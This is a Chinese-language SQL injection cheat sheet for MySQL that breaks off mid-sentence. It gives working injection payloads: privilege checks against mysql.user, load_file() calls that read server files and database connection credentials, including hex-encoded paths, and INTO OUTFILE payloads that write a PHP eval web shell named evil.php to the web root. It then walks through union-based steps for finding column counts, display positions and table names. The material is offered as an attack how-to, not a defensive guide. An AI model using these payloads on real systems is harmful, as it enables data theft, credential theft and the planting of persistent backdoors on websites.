SQL 注入分类方式:
提交方式:GET POST COOKIE
参数注入:数字型/字符型/搜索型
数据库类型:ACCESS/Mysql/MSSQL/Oracle
手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)
0x01、Mysql
Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
判断是否具有读写权限
and (select count(*) from mysql.user)>0#
and (select count(file_priv) from mysql.user)>#
A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
可以用来读取数据库连接文件获取数据连接账号、密码等
?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23
?id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23
B、into outfile函数
条件:1. 绝对路径 2.可以使用单引号
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本
1.判断是否可以注入?id=1 and 1=1,页面正常?id=1 and 1=2,页面空白2.获得字段数
order by的方法来判断,比如:?id=1 order by 4页面显示正常?id=1 order by 5页面出错,说明字段数等于43.获得显示位?id=1 and 1=2 union select 1,2,3,4
//比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
4.猜表名
猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:?id=1 and 1=2 union select 1,2,3,4 fromusers
这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。5.猜字段
使用:Co